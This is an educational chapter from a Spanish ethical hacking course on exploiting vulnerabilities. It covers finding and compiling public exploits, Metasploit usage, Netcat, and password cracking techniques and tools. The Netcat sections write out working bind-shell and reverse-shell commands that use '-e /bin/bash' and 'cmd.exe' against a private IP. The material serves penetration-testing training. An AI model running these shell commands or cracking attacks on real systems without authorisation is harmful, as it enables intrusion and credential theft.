Está en la página 1de 20

Captulo 8

Explotacin de Vulnerabilidades

Al finalizar el captulo, el alumno podr:

Buscar exploits online


Compilar exploits para su uso
Utilizar la plataforma de trabajo Metasploit
Conocer las tcnicas de Password Cracking

Temas:

1. Trabajando con Exploits


2. Metasploit
3. La Navaja Suiza del Hacker
4. Password Cracking

Ethical Hacking
Ethical Hacking 134

1. Trabajando con Exploits

Luego de la tarea de anlisis de vulnerabilidades se tiene informacin sobre los


principales agujeros de seguridad que ponen en riesgo los sistemas de la red.
Adems, es necesario informarse sobre la vulnerabilidad para entenderla, saber a
qu sistemas afecta, en qu condiciones puede ser explotada y, lo ms importante,
si existe un exploit pblico.

Un exploit es un programa o tcnica utilizada para aprovecharse de una


vulnerabilidad especfica.

Una vez encontrado el exploit hay que revisar el cdigo fuente, para primero
confirmar que no es falso (fake) y luego, revisar para qu plataformas ha sido
diseado. En algunos casos ser necesario modificar el exploit antes de ejecutarlo.

En un proceso de Ethical Hacking los recursos son limitados, especialmente el


tiempo, es por eso que la tarea de programar el exploit normalmente, no se da en
uno de estos servicios.

Hay que tener en cuenta que muchas vulnerabilidades no son reportadas y pueden
permanecer sin ser parchadas por aos (Ejemplo: Microsoft ms08-067). Estas
vulnerabilidades son las llamadas 0day que muchos hackers maliciosos comparten
o venden.
Ethical Hacking 135

Grfico 1. Lista de los exploits publicados

A continuacin se presenta los 2 sitios Web ms usados.

1.1 SecurityFocus (www.securityfocus.com)

Es un portal focalizado en seguridad informtica en donde se puede


encontrar noticias sobre vulnerabilidades, artculos de seguridad y
exploits. Es el hogar de la conocida lista Bugtraq.

Las vulnerabilidades y los exploits son categorizados segn un


identificador llamado BID (Bugtraq ID). Adems, los exploits pueden
ser localizados, a travs de la interfaz Web.

Adems, tambin es posible encontrar exploits utilizando la tcnica


Google Hacking mediante algunos operadores de bsqueda; por ejemplo,
rpc dom exploit site:securityfocus.com inurl:bid
Ethical Hacking 136

1.2 Exploit-db (www.exploit-db.com/)

Es la continuacin del conocido portal Milw0rm.com, poco conocido por


su base de datos de exploits. Asimismo, cuenta con artculos para la
educacin en seguridad informtica. En Exploit-Db los exploits son
categorizados segn su vector de ataque: Remoto, Local, DOS, Web.

1.3 Packetstorm

(http://www.packetstormsecurity.org/assess/exploits/)
Es otro portal donde se pueden encontrar exploits recientes, adems de
herramientas de seguridad para fines educativos solamente.
Ethical Hacking 137

1.4 Compilando Exploits

Una vez conseguido el cdigo fuente del exploit, es necesario compilarlo o


interpretarlo para poder utilizarlo. Por ese motivo, la primera tarea es
reconocer el lenguaje de programacin con el que el exploit fue escrito.
La manera ms simple es verificando la extensin del archivo, sin
embargo, de no tener extensin, se tendr que revisar el cdigo fuente
para reconocer la sintaxis utilizada. Ms all del reconocimiento del
lenguaje, siempre es importante revisar el cdigo fuente para entender lo
que hace el exploit y no tan slo utilizarlo.

Dependiendo del lenguaje utilizado, se utilizarn distintos comandos para


compilar o interpretar el exploit. Afortunadamente, la consola en linux
viene equipada con herramientas para realizar esta tarea.

A continuacin se muestran los mtodos, segn el lenguaje de


programacin.

C
Extensin: .c, .cc
gcc exploit.c -o binario
./binario parametros

Perl
Extensin: .pl
perl exploit.pl parametros

Python
Extensin: .py
python exploit.py parametros
Ethical Hacking 138

Ruby
Extensin: .rb
ruby exploit.rb parametros

PHP
Extensin: .php
php exploit.php parametros

Muchas veces los investigadores que liberan los exploits no los dejan listos,
sino con algunas fallas para que no sean utilizados por script kiddies. En
esos escenarios, se tendr que revisar todo el cdigo fuente para encontrar
el error y parcharlo, lo que hace ms interesante la explotacin de la
vulnerabilidad.
Ethical Hacking 139

2. Metasploit Framework

Es una herramienta integral de software libre para el desarrollo y la ejecucin de


exploits contra equipos remotos. Su primera aparicin fue en el ao 2003 utilizando
el lenguaje de programacin de scripting Perl (hasta la versin 2). Luego fue
reescrita totalmente, utilizando el lenguaje Ruby. En octubre del 2009 se anunci la
adquisicin de Metasploit por Rapid7, una empresa de seguridad que provee
soluciones de seguridad.

Metasploit es conocido y respetado por liberar algunos de los exploits ms


sofisticados algunas veces, a tan slo unas horas de haber sido liberada una
vulnerabilidad pblicamente. Comparado con herramientas comerciales de elevado
precio como CANVAS o Core Impact, Metasploit puede ser utilizado en procesos
de Ethical Hacking para la comprobacin y explotacin de vulnerabilidades. No
obstante, al igual que otras herramientas de seguridad, puede ser utilizada para
actividades legtimas e ilegales.
Ethical Hacking 140

La posicin de la herramienta como el framework de desarrollo de exploits, ha


logrado que actualmente muchos de los advisories de vulnerabilidades vengan
acompaados con un mdulo de metasploit listo para su ejecucin. Adems de
contar con 564 (22/06/10) exploits en su base de datos, Metasploit incluye
herramientas de fuzzing que permiten a un investigador descubrir vulnerabilidades
en software y escribir su exploit asociado.

2.1 Instalacin

La instalacin de Metasploit requiere de la presencia de varias


dependencias, incluido el software para gestin de versiones subversion.

1. Los comandos necesarios para instalar dichas dependencias son:


apt-get install ruby libopenssl-ruby libyaml-ruby libdl-ruby
libiconv-ruby
apt-get install subversion libreadline-ruby irb ri rubygems

2. Una vez que las dependencias han sido instaladas, baje el cdigo
fuente de la ltima versin de metasploit desde el siguiente link:

http://www.metasploit.com/framework/download/

3. Luego, ejecute los comandos: tar xf framework-3.X.tar.gz

4. Para desempaquetar el cdigo fuente sudo mkdir -p


/opt/metasploit3 debe crear un directorio en /opt
sudo cp -a msf3/ /opt/metasploit3/msf3

5. Copie el contenido al nuevo directorio


sudo chown root:root -R /opt/metasploit3/msf3

6. Cambie los permisos para que el directorio pertenezca a root


sudo ln -sf /opt/metasploit3/msf3/msf* /usr/local/bin/

7. Luego, cree enlaces simblicos de los ejecutables en /usr/local/bin

Para actualizar la versin, se deber descargar los ltimos exploits,


payload y auxiliares.

svn update /opt/metasploit3/msf3/


Ethical Hacking 141

2.2 Uso

Una vez instalado, Metasploit Framework permite interactuar con su


funcionalidad a travs de 2 interfaces: mediante una consola de
comandos, muy parecida a la shell utilizada en linux y a travs de una
interfaz Web, en donde un servicio Web es levantando en el equipo. Para
ingresar a las distintas interfaces se tiene que ejecutar los comandos
msfconsole y msfweb, respectivamente.

Una vez localizados en la consola, ejecutar el comando help para


visualizar la lista de comandos soportados por Metasploit.

Al margen de la interfaz utilizada, los pasos para explotar una


vulnerabilidad con Metasploit son los mismos y se presentan a
continuacin.

a) Elegir el exploit a utilizar: Metasploit cuenta con 564 exploits para


explotar distintas plataformas como: Windows, Linux y Mac. Para
mostrar todos los exploits, se ejecuta show exploits y para elegir
uno, use nombreExploit.

b) Configurar el exploit: una vez elegido el exploit es necesario


configurar sus opciones (Ip del equipo remoto, el puerto a utilizar,
etc.). Para ver todas las opciones, se ejecuta show options.

c) Elegir el Payload: es el cdigo que se ejecutar en el sistema


afectado una vez explotada la vulnerabilidad. Por ejemplo, se puede
querer abrir un puerto en el objetivo u obtener una shell reversa o
una sesin grfica con VNC.
Para ver todos los payloads disponibles, para el explot especfico, se
ejecuta show payloads. Sin embargo, se debe recordar que cuando
se elige un payload, es posible que nuevas opciones tengan que ser
configuradas.
Ethical Hacking 142

d) Ejecutar el exploit: una vez configurado todo, se ejecuta el exploit


con el comando exploit.
Ethical Hacking 143

3. La Navaja Suiza del Hacker

Netcat (http://netcat.sourceforge.net/) es una herramienta liberada bajo una


licencia de software libre que permite, a travs de la lnea de comandos y con una
sintaxis sencilla, leer y escribir informacin en sockets, utilizando los protocolos
TCP/IP. Al mismo tiempo, es una poderosa herramienta para la depuracin de
aplicaciones de red gracias a que puede crear casi cualquier tipo de conexin.

Permite conectarse y abrir un puerto TCP/UDP en un equipo (quedando netcat a la


escucha como un demonio o servidor), asociar una shell a un puerto en concreto
(para conectarse por ejemplo a MS-DOS o al intrprete bash de Linux
remotamente). Es posible realizar transferencias de archivos, abrir puertas traseras
o backdoors y crear canales encubiertos para la post explotacin de un equipo
utilizando Netcat.

Gracias a su versatilidad y robustez, Netcat es llamado la navaja suiza de los


hackers.
Ethical Hacking 144

3.1 Parmetros bsicos

Parmetro Descripcin
-v Verbose, sirve para obtener en pantalla
informacin adicional sobre las conexiones.
-l Listen, modo escucha, sirve para dejar a la
escucha en un puerto especfico.
-p Port, con este parmetro se define el puerto que
entrar en escucha.
-o archivo Dump, hace un dump del trfico en
hexadecimal.
-e Nombre Con este parmetro se define el programa que
ser ejecutado una vez establecida la conexin.
-h Muestra la ayuda
-u UDP, para realizar conexiones con el protocolo
de transporte UDP.

3.2 Transfiriendo Archivos

Netcat puede ser utilizado para la transferencia de archivos de una


computadora a otra, a travs de la red. Esto se aplica para archivos de
texto, as como, para los binarios. Para transferir archivos desde una
mquina B hacia A se debe ejecutar lo siguiente:

Mquina A:
Se deja a Netcat escuchando en un puerto y que redirija cualquier
entrada hacia un archivo: nc -lvp 4444 > salida.txt

Mquina B:
Se conecta al puerto en escucha en la Mquina 1 (en el puerto 4444) y se
enva el fichero: nc -vv 192.168.1.1 444 < test.txt
Ethical Hacking 145

Una de las caractersticas ms interesantes de Netcat es la redireccin de


comandos. Esto significa que Netcat puede tomar un archivo ejecutable y
redirigir su entrada, salida e incluso, los mensajes de error hacia un
puerto TCP/UDP en vez de la consola por defecto.

3.3 Shell Directa (Puerta Trasera)

En este primer escenario se tiene un equipo A, en el cual, se busca


ejecutar comandos, conectado directamente hacia Internet (no RFC 1918)
con una ip pblica y un equipo B conectado a Internet a travs de un Nat.
Lo que se hace es abrir un puerto en la mquina A con Netcat y asociar el
puerto con el intrprete de comandos, ya sea Windows o Linux. En este
caso la mquina A funciona como un servidor esperando conexiones a las
que brinda una shell.

Mquina A:
Para Windows: nc -lvvp 4444 -e cmd.exe
Para Linux: nc -lvvp 444 -e /bin/bash

Mquina B:
nc -v 192.168.1.1 4444
Ethical Hacking 146

3.4 Shell Reversa (Firewall Bypass)

Esta vez se tiene al equipo A, en el cual se quiere ejecutar comandos, con


una salida a Internet por NAT, es decir, no directamente conectado a
Internet.
En este escenario, A no puede dejar un puerto a la escucha porque B no
podr conectarse debido al tipo de conexin a Internet.

Por lo que B, funciona como servidor y el equipo A enva una shell al


equipo B gracias a Netcat. Esta tcnica lleva el nombre de shell reversa
por el sentido de la conexin.

Mquina B:
nc -lvvp 4444

Mquina A:
Para Windows: nc -v 192.168.1.1 4444 -e cmd.exe
Para Linux: nc -v 192.168.1.1 4444 -e /bin/bash
Ethical Hacking 147

4. Password Cracking

Es el proceso informtico por el cual, se intenta conseguir credenciales vlidas de


una aplicacin o sistema mediante distintas tcnicas. El propsito de este proceso
puede ser vlido para recuperar credenciales perdidas u olvidadas, para evaluar la
robustez de las credenciales elegidas por los usuarios y justificar la implementacin
de polticas de gestin de passwords o, en contraste, puede ser malicioso para
conseguir acceso no autorizado a un sistema o aplicacin.

En una auditora de sistemas o hacking tico, siempre hay una fase en la que se
ejecutan ataques contra las contraseas para realizar una auditora a las polticas
de passwords implementadas en la organizacin o la falta de stas.
Ethical Hacking 148

4.1 Tcnicas de Password Cracking

a) Password Guessing: es el nombre que se utiliza al intento de


obtener credenciales vlidas tratando de adivinar contraseas de un
sistema o aplicacin. Aunque puede parecer una tcnica poco
confiable, en muchos casos es exitosa, debido a que la mayora de
usuarios eligen passwords fciles de recordar. Algunos de los
passwords encontrados ms comunes son: root, administrador,
admin, 1234, 123456, [nombre_de_organizacin], etc.

b) Password Sniffing: es la tcnica que consiste en analizar el trfico


de la red local, en busca de credenciales en texto, plano o cifradas
que viajen por sta. Dado que mucho del trfico viaja por la red sin
ser cifrado, esta tcnica puede conseguir credenciales vitales, sin
embargo, es necesario tener acceso fsico al segmento de red en caso
de una red cableada o proximididad, en caso de una red inalmbrica.

c) Ataque por Diccionario: es una tcnica de password cracking que


consiste en intentar averiguar una contrasea de un sistema o
aplicacin probando las palabras de un diccionario previamente
establecido. Este tipo de ataque suele ser bastante exitoso, ya que la
mayora de usuarios utilizan palabras existentes en el vocabulario de
su lengua como contraseas, para que stas sean fciles de recordar.

Los ataques de diccionario tienen pocas probabilidades de xito con


sistemas que emplean contraseas fuertes con letras en
maysculas y minsculas mezcladas con nmeros y con cualquier
otro tipo de smbolos. Sin embargo, para la mayora de los usuarios
recordar contraseas tan complejas resulta complicado.
Ethical Hacking 149

d) Ataque de Fuerza Bruta: es la tcnica de recuperar una contrasea


que consiste en generar y probar todas las combinaciones posibles,
basndose en un alfabeto de caracteres (letras, nmeros, smbolos,
etc.) hasta encontrar credenciales vlidas que logren acceso al
sistema.

Los ataques por fuerza bruta, dado que utilizan el mtodo de prueba
y error, son muy costosos en tiempo computacional. Este tipo de
ataque, tericamente, no puede ser resistido por ningn sistema,
siempre y cuando se disponga del tiempo suficiente. As, las claves lo
suficientemente largas, ponen una limitacin fsica al xito de estos
ataque, pero no lgica. Estas limitaciones fsicas son dinmicas y van
disminuyendo a medida que los computadores van alcanzando ms
capacidad de cmputo.

e) Ataque Hbrido: es una mezcla entre un ataque por diccionario y


fuerza bruta. Parte utilizando palabras de un diccionario a las cuales
se van aadiendo combinaciones.
Ethical Hacking 150

4.2 Herramientas

a) THC Hydra ( http://freeworld.thc.org/thc-hydra/ )


Es una aplicacin de software libre diseada para realizar ataques de
passwords, desarrollada por el grupo de hacking alemn The
Hackers Choice. Hydra es una veloz herramienta para ataques de
autenticacin va red que puede realizar ataques de diccionario y
fuerza bruta a ms de 30 protocolos incluidos: telnet, ftp, http,
https, smb, ssh, motores de base de datos, etc.

b) Medusa ( http://www.foofus.net/~jmk/medusa/medusa.html )
Es una herramienta veloz y modular de software libre que se
aprovecha de la programacin en paralelo, para realizar tareas de
password cracking a nivel de red. Medusa fue programada por el
grupo de Foofus.net y tiene mdulos que soportan los siguientes
servicios: CVS, FTP, HTTP, IMAP, MS-SQL, MySQL, NCP (NetWare),
PcAnywhere, POP3, PostgreSQL, rexec, rlogin, rsh, SMB, SMTP
(VRFY), SNMP, SSHv2, SVN, Telnet, VmAuthd y VNC.

c) Lopthcrack ( http://www.l0phtcrack.com/ )
Es una herramienta comercial para la auditoria y recuperacin de
passwords en plataformas Windows y GNU/Linux. Para realizar esta
tarea, se basa en los hashes guardados por el sistema operativo.
Tambin tiene la capacidad de analizar el trfico (sniffear) en busca
de credenciales. Con Lopthcrack se pueden realizar ataques por
diccionario y fuerza bruta.
Ethical Hacking 151

d) Cain & Abel ( http://www.oxid.it/cain.html )


Es una herramienta para plataformas Windows que soporta una gran
cantidad de funcionalidades partiendo desde un analizador de
paquetes hasta un password cracker. Permite recuperar credenciales
analizando el trfico de red, crackear passwords con ataques de
diccionario, fuerza bruta y critptoanlisis.

Nota:
Una lista con las 10 mejores herramientas de Password Cracking puede ser encontrada en:
http://sectools.org/crackers.html
Ethical Hacking 152

Laboratorio N 8